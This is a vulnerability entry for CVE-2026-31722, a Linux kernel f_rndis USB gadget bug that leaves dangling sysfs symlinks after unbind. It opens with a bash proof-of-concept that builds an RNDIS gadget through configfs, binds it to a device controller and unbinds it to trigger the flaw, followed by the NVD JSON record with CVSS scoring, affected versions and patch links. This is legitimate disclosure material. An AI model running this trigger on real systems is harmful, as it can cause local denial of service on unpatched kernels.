CVE-2026-31722

#!/bin/bash # PoC for CVE-2026-31722: Trigger dangling sysfs symlink in f_rndis # This script configures a USB gadget with RNDIS and triggers the unbind phase. modprobe libcomposite modprobe usb_f_rndis mkdir -p /sys/kernel/config/usb_gadget/g1 cd /sys/kernel/config/usb_gadget/g1 echo 0x1d6b > idVendor echo 0x0104 > idProduct mkdir -p strings/0x409 echo "1234567890" > strings/0x409/serialnumber echo "PoC" > strings/0x409/manufacturer echo "CVE-2026-31722" > strings/0x409/product mkdir -p functions/rndis.usb0 # Create config mkdir -p configs/c.1/strings/0x409 echo "Conf1" > configs/c.1/strings/0x409/configuration ln -s functions/rndis.usb0 configs/c.1/ # Find a UDC (USB Device Controller) UDC=$(ls /sys/class/udc | head -n 1) if [ -n "$UDC" ]; then echo "[*] Binding to $UDC" echo $UDC > UDC sleep 2 echo "[*] Unbinding to trigger vulnerability..." echo "" > UDC # This triggers the unbind where the bug occurs echo "[*] Check /sys/class/net/usb0 for dangling link" ls -l /sys/class/net/usb0 2>/dev/null || echo "Interface removed or error occurred" else echo "[!] No UDC available to test" fi # Cleanup cd / rm -rf /sys/kernel/config/usb_gadget/g1

{"cve": {"id": "CVE-2026-31722", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-01T15:16:34.617", "lastModified": "2026-05-06T20:55:31.143", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nusb: gadget: f_rndis: Fix net_device lifecycle with device_move\n\nThe net_device is allocated during function instance creation and\nregistered during the bind phase with the gadget device as its sysfs\nparent. When the function unbinds, the parent device is destroyed, but\nthe net_device survives, resulting in dangling sysfs symlinks:\n\n console:/ # ls -l /sys/class/net/usb0\n lrwxrwxrwx ... /sys/class/net/usb0 ->\n /sys/devices/platform/.../gadget.0/net/usb0\n console:/ # ls -l /sys/devices/platform/.../gadget.0/net/usb0\n ls: .../gadget.0/net/usb0: No such file or directory\n\nUse device_move() to reparent the net_device between the gadget device\ntree and /sys/devices/virtual across bind and unbind cycles. During the\nfinal unbind, calling device_move(NULL) moves the net_device to the\nvirtual device tree before the gadget device is destroyed. On rebinding,\ndevice_move() reparents the device back under the new gadget, ensuring\nproper sysfs topology and power management ordering.\n\nTo maintain compatibility with legacy composite drivers (e.g., multi.c),\nthe borrowed_net flag is used to indicate whether the network device is\nshared and pre-registered during the legacy driver's bind phase."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.11", "versionEndExcluding": "6.12.81", "matchCriteriaId": "2DDEB484-A8B8-4ED2-B54C-C92F595BA13F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.22", "matchCriteriaId": "C9DF8BCE-36D3-475D-9D21-19E4F02F9029"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.12", "matchCriteriaId": "0A2B9540-02D5-41B4-B16A-82AF66FD4F36"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "F253B622-8837-4245-BCE5-A7BF8FC76A16"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc2:*:*:*:*:*:*", "matchCriteriaId": "4AE85AD8-4641-4E7C-A2F4-305E2CD9EE64"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc3:*:*:*:*:*:*", "matchCriteriaId": "F666C8D8-6538-46D4-B318-87610DE64C34"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc4:*:*:*:*:*:*", "matchCriteriaId": "02259FDA-961B-47BC-AE7F-93D7EC6E90C2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc5:*:*:*:*:*:*", "matchCriteriaId": "58A9FEFF-C040-420D-8F0A-BFDAAA1DF258"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc6:*:*:*:*:*:*", "matchCriteriaId": "1D2315C0-D46F-4F85-9754-F9E5E11374A6"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/18ada801899f2b13ef0ceff42427ad980a41e619", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/1ef251aa63972fe6c0f107f5abd139b7d0f7987a", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/6045ea5ca6e3fa13f8a9fafb1c535c86e124c14d", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/e367599529dc42578545a7f85fde517b35b3cda7", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}